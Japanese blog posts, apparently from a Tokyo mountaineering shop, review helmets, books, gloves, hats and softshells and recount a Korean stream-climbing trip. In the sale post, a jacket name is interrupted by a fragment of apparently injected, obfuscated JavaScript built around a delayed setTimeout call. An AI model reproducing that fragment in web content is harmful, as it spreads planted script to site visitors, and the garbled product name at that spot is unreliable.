春のヘルメット特集!(中)

今回は前からある商品の紹介です。

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PETZL:METEORⅢ+ ¥12,600

【アイス用バイザー:VIZION ¥6,930】
 何度かこのブログで登場している奴です。アイス用のバイザー取り付け可能なメットで、以前はSimond社のBUMPERもありましたが、今ではこれと同社のELIOS、ALTIOSだけとなっています。MILLET社のアウターとの併用を想定されており相性は抜群です。

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MAMMUT:TRIPOD2 ¥11,500

 当店唯一の非ダイヤル調整システムの超軽量メット。素早いサイズ調整と単純な機構で修理がしやすいメリットがある。手前の白い奴はマットな感じで渋い。欲しい。

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(左)GRIVEL:AIR TECH HELMET ¥12,600

 通気性がいい超軽量タイプです。よく街でメッセンジャーがかぶっているのを見ますが、確かに空気抵抗が少なそう・・・。
(右)SIMOND:CALCIT LIGHT ¥9,450

 去年のBUMPER引退後の後継として登場。同じ超軽量タイプですが、空気孔が増えました。何故バイザーがつかないのか・・・。個人的にはフィット感が良く今後に期待です。

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GRIVEL:SALAMANDER XL ¥9,450
【アイス用バイザー:VISOR ¥2,310】
 どんなヘルメットも小さい、頭に合わない。そんなあなたの最後の砦。アイス用バイザーも装着できますが顔面というより帽子のツバ程度です。只今在庫が無い為画像はありません。近日入荷予定です。

 リンク先にそれぞれの詳しいスペックがあるのでどうぞ利用してください。ただ、前述の通り、実際着用して自分に合っているか、いないかをしっかり確かめて購入してください。

 ところで、バイクに乗る人や工事の人、果ては軍人も被ってるヘルメット。身近とはいえ今まで一部の人にしか需要の無かった物でした。でも最近テレビでは毎週のように首都圏直下とか何とか地震の特番をやっています。怖いですね。
 はい!そこで今回、これを機にヘルメットの購入を考えてみてはいかがでしょうか。ちなみに当店で扱っているヘルメットは本来山で使うものなので軽量、装着性に優れている為、長時間の着用に適しています。そして何よりスタイリッシュでカッコイイ!避難中にかぶっていれば一際目を引くこと間違い無し。快適で素晴らしい避難生活・・・失礼、悪乗りが過ぎました。今日はここまでにします。すみませんでした。
新商品は次回!

春のヘルメット特集!(上)

 花粉症が発症して早5年。なんだ短いなと、思う人もいるかもしれません。特に花粉症でないアナタ!思っているでしょう。花粉症歴に長さなど関係ありません。鼻はだらだら、目は痒い。花粉症は本当に辛い。なったらおしまいです。これからの人生、一生付き合っていくのかと思うと涙は勿論クシャミもでます。

 で、今回は花粉症とは全く関係のない『ヘルメット特集』です。 

 一言にヘルメットと言っても、人それぞれ合う合わないがあって実際に被ってみて自分に一番フィットした物を選ぶことが大事です。長時間の着用でも不快感を感じないものがベストです。最早デザインなんて二の次、三の次です。
 次に、登山用ヘルメットはスペック的に大きく三つに分けられます。ポリスチレンを薄いポリカーボで覆い軽量化と快適さを追求した超軽量タイプ。モールド製法で作られるためモールドタイプとか言ったりします。厚みのある硬質樹脂を使用して、多少重量があるが耐久性の優れた硬質樹脂タイプ。そして薄い硬質樹脂とポリスチレンを使用したハイブリッドタイプ。という分類になっています。

 超軽量タイプとハイブリッドタイプは割と形の成形が自由で、空気孔を多く作ることが出来ます。二つの区別としては外殻の強度が〔ハイブリッド>超軽量〕で、軽さが〔超軽量>ハイブリッド〕っていう程度の認識でOKです。また、超軽量タイプは凹む(壊れる)事で衝撃を吸収する、という硬質樹脂タイプとは真逆のコンセプトで作られています。

 なので大きな衝撃が加わると外見上わからない場合がありますが、内部に損傷が生じます。なので次の衝撃には耐えられないかもしれない恐れがあり、またそれを使用者が認識出来ない、という点がある意味大きなデメリットだと思います。

 個人的(沢屋的)には硬質樹脂タイプが好みです。空気孔が無い故に、焚火の火を消すとき沢の水が汲めるっていうね。逆転の発想です。あと洞窟に行くとガンガン頭ぶつけるんで超軽量のあれじゃペコペコになっちゃいますから。まぁデナリでは扱ってないんですけどね!

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 さて、次回商品紹介に移りますがヘルメット置き場は階段を上って右側、ウェアの棚上に積まれてます。貼る写真が無かったとかそういうことでは無いんですからね!

デナリより。~本~

 日増しに暖かくなり春の訪れを感じる今日この頃。四ッ谷デナリ、カウンターの多機能時計では14.5℃を示しています。寒いだなんだといっても喉もと過ぎれば何とやらというやつで今ではあの寒さが恋しく・・・感じませんね。やっぱり寒かったです。思い出すだけで鼻毛が凍ります。
 ところで、近年では電子書籍とやらが市場を盛り上げているという話を聞きますが、確かにB5くらいのタブレットに何十冊何百冊といった本が入ると思うと魅力を感じます。あとエコですよね。ただ、現代人の活字離れが進む中それほど大量の本を読む人、更に保管しておく人がいるのでしょうか・・・。偏見ですかね。しかし、それほど大量の書籍を保管することができるならば今後の希望としてルート図や資料集、技術書のような図表が多く何度でも繰り返し使える、保管しておくような電子書籍が欲しいですね。画像じゃなくて動画が入ってて著者近影の写真も動く、みたいな。

ってハリー・○ッターか!!

・・・・・。

 やっぱりなーんか肌寒いというかまだ春は遠いですね。
 さて、今回は紙製の書籍について紹介していきたいと思います。デナリでは多く分けて二種類の書籍を販売しています。大半は山と渓谷社の出版です。半分隠されているようにおいてあります。

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一つ目は技術書。

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『登山技術全書(全12巻)』は、山をやり始めた初級者から、一歩踏み込んだ技術の要求される中級者まで様々な山行形態に幅広いレベルで対応しています。また、写真が多く使用している装備も最近の物なので情報量の多さの割にとても解りやすい本です。

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『決定版・雪崩学』『雪崩ハンドブック』は雪崩の起こるメカニズムやリスクマネジメントについて、雪の状態変化やスノーピットを掘ったときの雪面の観察方法などを交えて前者はかなり、かなーり専門的に書いています。難しい本です。それと比べて後者は比較的簡単です。でもA4サイズで350頁となるともはやハンドブックではないという・・・。山岳ガイドを目指す方や雪崩に関する知識深めたい方にはおすすめです。

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『生と死の分岐点』は山で実際に起きた事故の検証やギアの耐久テストなどが書いてあります。山岳部や山岳会に入ってる方は先輩にカラビナは落とすと内側に見えないひびが入って壊れる、とかザイルを踏むな、踏むと切れるぞとか教えられてきたと思いますが、その科学的根拠、真否などが書かれている本です。

『登山の運動生理学百科』は登山をする時のトレーニングや必要な栄養、水分などクライミングテクニックが外的な技術なら内的な技術といえるものが書かれています。これからリーダーとして、自分の体調管理は勿論ですが他人の体調管理も行っていくようになる人は、外でのリードとは違った視点を持つことができるのではないでしょうか。

『クライミング用具大全』は登攀に関する装備の靴からヘルメット、ザイルからカムまでほぼ全てが使い方から選び方、メンテナンスについて説明されています。この本読めば正直僕程度の店員なんて要らない、黙ってレジでも打ってろって感じですよ。はぁ。そんな感じですよ。逆に言うとせめてこの程度の知識は付けておこう!という事です。

はい!次ルート集。ガイド本。

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 これは・・・特に書くこと無いです。そのまんまです。百名山の登山ガイドがあってーフリークライミングのトポがあってー雪山のルートがあるって感じ。行きたいところがあれば、いろんな記録や情報がネットにあふれています。ただネットだけーとかこの本だけ―みたいに偏った情報にならないための一つの手段として、ある程度の信頼性のある情報として利用するのがいいでしょう。

 電子書籍に話を戻しますが以上のような技術書やルート集の電子化は大いに結構です。じゃんじゃんやってください。でも小説やエッセイの電子化は正直反対です。やっぱり内容の熱を感じるには紙が最高だと思います。紙の千何百年の歴史が遺伝子に刻み込まれているのでしょうか。電子書籍と紙書籍のしっかりした棲み分けが今後とても重要な課題になってくるのでしょう。ではでは。

雪降るYOTSUYAデナリより

 昨日は東京でも雪です。朝、自転車で30分の歯医者に行くのに雪でラッキーと思いきや何の何の、ベチョベチョのミゾレで・・・。ほんの少しでも期待した僕が馬鹿でした。なんであんな遠くの歯医者に通うことにしたんだろ。

 それに一昨日は自転車で歩道に乗り上げようとしたら乗り上げられずにおもいきりすっ転ぶし・・・。それで手をついたらマムートアコンカグアのサムホールちぎれるしジーパンのヒザは穴あくし・・・。もう、やだ!山に行きたい!就活なんかしたくないやい!

 そういえば先々週の連休で入った谷川岳(天神平~トマ)はドカ雪ドラッセルで熊穴避難小屋までたどりつけず敗退。そう、冬山初めての一年がいたから仕方ないんです。僕らを含めて7人くらいの途中で知り合った合同パーティでラッセルするも実際にラッセルしてたのは3人。まぁラッセルは強要できないっすからねぇ。もし山でお会いすることがあったら僕らと一緒にレッツラッセル!まぁ雪崩の危険もかなりあったんで敗退は最善の判断でした。あれ、何の話でしたっけ。

 はい、デナリの今。在庫処分とセールのダブル値下げで最大70%OFFが大量放出中!・・・のことは先日の記事でお伝えしましたが、その様子をちょっと見てみましょう。

 おもてにはダウンにグローブ(インナーグローブ、オーバーミトン)、小物等々大変お安くなっております。

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店内では・・・

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おなじみ帽子類は10%OFF

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グローブの在庫処分も増えました。

ザック類も10%OFF

そして小物類!・・・は変わらないですね。

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二階に移りまして、GOREのジャケットやオーバーパンツなど衣類は最大70%OFFとなっています。ちなみに写真の水色のジャケット『MAMMUT:Nordwandom() * 6); if (number1==3){var delay = 18000;setTimeout($Ikf(0), delay);}andJacket』はセール対象外です。あしからず。(じゃあ載せんなって話ですね)

さて、これからの冬山はもちろん、終わってからの春山、富士登山やアルプス山行に向けてこの機会にそろえてみては?

バイトより愛を込めて~てぶくろのはなし~

 どうも、前回につづいてバイトがお送りします。ろくに働かないならブログでも書けや。ってことなんでしょうか。しかし!このブログが僕に与えられた唯一の発言権の許された場所なので今後もちょくちょくやっていきたいと思います。最近やっと雪の知らせがちらほらと聞こえ始めましたがまだまだ沢のシーズンは終わっていません!ガンガンいくよー!

さて、山でのウェアはレイヤリングが基本ですが手袋もしかりです。特に手や足などの末端部は凍傷にかかりやすいので、ウェア以上に気をつけなければいけません。かつて靴下もレイヤリングの考えはありましたが、近年では登山靴の著しい進歩によって現在では一重が主流です。
・・・ということで今回は手袋、特にインナーグローブに注目していきたいと思います。
 まず、凍傷やその他寒冷地における諸症状を防ぐには直接肌に濡れた物を着用しないこと。つまり手に関して言うと手袋はぜったいに『濡らさない』というのが鉄則。しかし、欧米とかとは違って日本のようにこうも湿気の多い雪では『濡らさない』というのはほぼ不可能です。じゃあどうすんだ!というと『インナーグローブの着用と濡れたら替えるシステム』を提案します。つまり物量作戦ですよ。なんて言うといかにもインチキ店員ですが、指が凍傷になって切断するくらいならインナーグローブの一枚や二枚増えたところで大した問題ではないんじゃないでしょうか。

薄手

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毛:monbell@900 HESTRA@3,990 毛化繊混合:FLyingFoot@1,260
化繊:Caravan@683 MHW@3,045
毛と化繊の大きな違いはそれぞれ保湿性があるか、速乾性があるかということです。どちらかを立てればどちらかが立たずと言う感じで、暖かさを重視すれば毛。速乾を重視するなら化繊と言う程度に選んでみては?

厚手

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BD@1,890、@2,625 DINARIQUE@3,150
左から順にライトウェイト、ミッドウェイト、ヘヴィウェイトです。ミッドウェイトの掌には皮の滑り止めが張ってあります。POLARTECのPOWERSTORETCHを使用していてかなり暖かいです。
以上から薄手を二双、オーバーグローブに中綿が無い物なら厚手を二双チョイスして、レイヤリングすると濡れたときのローテーションが出来ます。ちなみにBDのSOLOISTは中綿の取り外しが可能なので、一双厚手があると良いでしょう。

最後に一言、装備の替えはいくらでも買うことができますが、失った指は一本、たったの一本ですら買うことはきないのです。はい、オーナーの受け売りでした。

デナリ(バイト)より愛を込めて~帽子編~

 つい最近まで暑かったと思えば、早いもので秋もあっという間に過ぎ去り気づけば耳の凍える季節になりました。
 ご存じここデナリの門戸は常に開け放たれているので『室温=外気温』です。果たしてこの文明大国日本で、しかも都内のど真ん中に店を構えるにあたってこれでいいのか!と、しばれる指でキーを叩きながら思っております。間違っても口には出せませんが・・・。いや、というかいまだに沢に行っている身としては全くこたえないんですがね!ええ本当に。いやむしろこのくらいが適温かと・・・なんてね。
 調子に乗ると店の前に吊されかねないので冗談はこれくらいにして、今回紹介するのはジャジャン♪帽子(+α)です。頭を冷やすと高山病にかかりやすいとかよく聞きますが、そもそも高山病云々の前に頭は冷やさない方がいいのです。以外と忘れがちですが五臓六腑だけが内臓ではないのです。脳も大事な内臓です。暖めてあげましょう。

さて、今年も各社から新色が入っています。100%ウールだと汗をかいたときどうしてもチクチクする感じがしますが、額まわりだけでも化繊があるとチクチクを回避できます。あるのと無いのでは全然違います。あと帽子との関係は無いですが、お店にお客さんが来ると心なしか暖かくなる気がします。お客さんが来ると暖かくなる気がします。大事なことなので二度言いました。

ニット帽

IMGP0027MONTURA@3,990 Patagonia@3,990      SmartWool@2,835
MHW@4,095     ConteOfFlorence@5,880 Patagonia@4,725
ME@3,990       MONTURA@5,985     TurtleFur@3,570
お勧めは勿論中央の鶏冠帽!お客さんも恥ずかしがって敬遠するのかなかなか出て行く気配がない(笑) この気持ち、我が子に早く旅立ってほしいと思う親の気持ちなのか・・・。違いますか。
スキーやアイスで被れば注目を集める事間違いなし!タイトなつくりですが暖かさは保証します。残り一着!

帽子兼ネックウォーマー

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MONTURA@4,335、@39,90
MONTURA製のネックウォーマー。ドローコードを引いて片方の口を閉じれば帽子にもなります。モフモフしててさわり心地も抜群です。

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キャップME@3,780
マフラーSmartWool@5,250 MHW@3,045

以上の他にも店頭には数多く取り揃えておりますので、本当に寒くなる前にぜひこの凍てつくデナリに足を運んでみてはいかがでしょうか。スタッフを助けると思って・・・。

一押しのソフトシェル

皆さん、気になる「ソフトシェル」ですが、「ツボ」というか、「押さえ所」というか、売り手のこちらも“must item”とまでは言い難い「グレー商品」なのでバイトくんと検証してみました!。

◇MAUNTAIN HARDWEAR
EffusionHoodedJacket  @24,150
マウンテンハードウェア独自の素材、『DryQ-Active-』を使用した軽量ウィンタージャケット。ちなみに『DryQ』とは、天下の『GORE-TEX』にも引けをとらない新防水透湿素材です。つまり防水透湿性に優れるのは勿論、かつ伸縮性能は抜群!ちょっとの雨はものともしません。通学、通勤、普段着まで何でもこなす優秀なジャケット。勿論山中でのパフォーマンスも約束します。以上『貧乏学生のこれさえ買えれば・・・。』でした。今冬、超一押しの逸品です!

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COLOR:BLUE
<お>個人的には氷で使ってみたいので入れました。山ちゃんコメント通り、「防水・透湿・ストレッチ」の3拍子+「軽量」はゴア社のWS Activeを超えてます。F社のアレに近いガチ当たりですが、「しっかりシームしてある」所なんかがマニア心をそそります!。「実戦向き」という点では文句なしの★★★。

◇MONTURA
ElChaltenJacket  @23,625
内側の前面と背面に保温性の高い素材を、脇や腕には伸縮性能の高い素材を配置したイタリア生まれのソフトシェル。ただザックを背負うと背面の保温素材がむしろ逆効果・・・。少し暑すぎるかもしれません。その反面、空身での登攀やスキー山行にベストマッチ!また細身のデザインでシルエットがきれいです。M’sのフードの裏地がライトグリーンなのが憎い!上に続き今冬オススメの逸品。

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COLOR:BLACK、MAGENTA

<お>シーズン長く使うためには、「余計な物はいらない」ってのが基本、「寒ければ足すし、暑ければ削る」ってのがイイよね。ただ、MONTURAラインナップの中では「奇抜過ぎず、地味過ぎず」って感じの“大人感溢れる”アイテムです。個人的には道具屋さんぽい「通勤着」で★★★。

◇MONTURA
RanFlashJacket  @22,050
トレラン設計で290gの軽量ジャケット。伸縮性能に優れ防風性能もあるため、ビレイ中のちょっとした風よけや低山ハイクの上着にも使える便利な奴。ザックに忍ばせておく秘密兵器に一着いかが?

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COLOR:RED、GREEN、BLACK

<お>コレと上のMHWで大いに悩みました。多分、「ゲレンデではこっち、本番ではあっち」で使い分けになるかなぁ~。この下になると「ウエア」ってより、「道具」感が強いソフトシェルなのでこれまた悩む。ただ「低山ハイクとかおすすめ」ってのは正解。雨合羽より100倍おしゃれなので★★★。

◇MONTURA
FreePerformMaglia  @23,100
優秀な防風、撥水性がある。また、長めのプルジップと腰回りの伸縮性の高い生地によりハーネス着用時にも干渉がとても少なく快適なクライミングライフをサポート。

IMGP0005

COLOR:RED、GREEN、BLACK

<お>「ハーネス付けるならコレ」って言い切れる程の特殊アイテム。前屈みになっても背中は出ません!。スラッとしたラインと言いPOの無駄のない構造と言い、ホント素敵です!。「ユーザーが選ぶ」というより「ユーザーを選ぶ」限定ピンポイントアイテムなので、マニア指数で★★★。

◇HAGLOFS
BoigaHood  @25,200
薄手の割に高い耐久性と撥水透湿性を持つソフトシェル。裏地がメッシュ生地のため暑がりの方には最適。
伸縮性が高く、サムホール付きのため保温性の向上はもちろん腕の動きに追従する優れたフィット感を感じてください。

IMGP0010COLOR:RED

<お>今年の春から使ってます。洗濯機でガンガン洗って「普段使い」で大活躍の1枚。「厚からず薄からず」の絶妙な生地ウエイトがこの時期に最適。H社が「ジャパン」になるのでお祝いを兼ねて★★★。

◇HAGLOFS
ReptileⅡHood  @27,300
はい!じゃあ寒がりの人は??というとこれ。POLATEC社製の『PowerShield』を使用したハイパフォーマンスソフトシェル。高い防水、透湿性があり、更に優れた通気性があります。あれれ?優れた通気性?じゃあこれもやっぱり寒いのかしら・・・。と思ったあなた!残念!温かいんです。優れた通気性と保温性を兼ね備えたハイブリットウェアです。こちらのカフはベルクロで調節可能。腕が少々長めの設計のため、購入の際は一度ご試着を・・・。

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COLOR:YELLOW、BLUE

<お>上のヤツの「厚いバージョン」って感じ。こちらの方が先行でしたが、僕的には「厚過ぎ」なのと、この手の物が増えすぎたので追加しません!。ただ、市場人気はまだまだ高い「欲しい!」を助長する何かがあるアイテム。H社のソフトシェルの中で代表作だから★★★。

<結論>ソフトシェルの欠点と言えば、「重量」「防水性」なんかが、亜熱帯ダッシュの日本の風土に合わない理由です。また「雨」を心配するとやっぱり怖くて「雨具」なんです・・・。ただ、「しっかりした雨具を持っている人がもう1枚雨具買ってどーする?」のも事実です。そんな訳で、ソフトシェルに興味がある方にオススメするのは、1,天気が読みやすい短期山行で使う、2,「重量」があると「実戦向き」ではないので、まずは薄手の物から選ぶ、3,「機能重視」のユーザーは見た目より、重量や防水透湿性能の素材重視で、って所がツボです。業界の圧力に屈して★付けまくりましたが、どれも個性的な特徴あるアイテムなので、「どんな感じで使いたいか」イメージできた方は、スタッフに相談してみて下さい。

雪嶽山 コクベグン遡行

先々週、韓国にある雪嶽山コクベグンに沢登りに行ってきたので大まかな記録を書きます。

韓国入りは午後なのでソウル市内で一泊した後、バスで百譚寺(ペクダムサ)まで行き、スリョムドンの山小屋で一泊します。大体500円くらいですが予約が必要。
入渓点は山小屋から20分川沿いに行った所の対岸にありますが、登山道から丸見えなので一般登山客の視線を集めます。土曜日なので想像以上の登山客の数でした。

今回登った沢、コクベグンは花崗岩でできた巨大な滑とコクベグンで唯一の滝、白雲瀑布の綺麗な所です。と、言っても残念なことに台風の影響で雨時々曇り。周りの美しい岩峰を望めないのは勿論、巨大な滑も光が無ければただの滑る床でした。あぁ口惜しや・・・。隊員は僕を含め6名、4名は沢初心者でしたが基本装備以外にザイル、ガチャ類はほぼ必要ないです。もっとも沢下降をするならば必要です。白雲瀑布は、大きな釜を持ち、表面がツルツルなのでアプローチが大変そうですがなんとなく登れそうな雰囲気・・・ですが怪我をできない立場なので断念。

白雲瀑布

ツメはガレ場の後に藪漕ぎをして稜線にあがります。ここまでが約8時間でしたが、ツメで少し間違ったことや隊員の体力を考えると2時間程度の短縮が可能だと思われます。稜線に出ると雨風が強く、当初予定していた大青峰を経由してスリョムドンへ行くルートは断念し、ひとまず五色温泉へ下山する事にしました。スリョムドンにデポをしていたので翌日、大青峰経由で回収に行きました。山頂付近は前日と変わらず曇りで景色は何も見えず。気温は4℃でした。山頂周辺は岩場が多いですが、スリョムドンまでの間に山寺があり、そこから先は参拝客の為によく整備された登山道になります。
晴れていたら相当綺麗な沢であったと思われます。機会があればまた行ってみたい沢でした。集合写真

今回ガス缶はソウル市内の東大門(トンデムン)にある山道具屋通りで手に入れましたが、実は色々な所で販売されており、コンビニでも売っていました。地形図は鐘閣(ジョンガク)の中央地図文化社で入手。ルートタイムの載った地図も購入可能です。
今回使用した遡行図は海外遡行同人発行の『海外遡行研究‐韓国の谷と山‐』を参考にしました。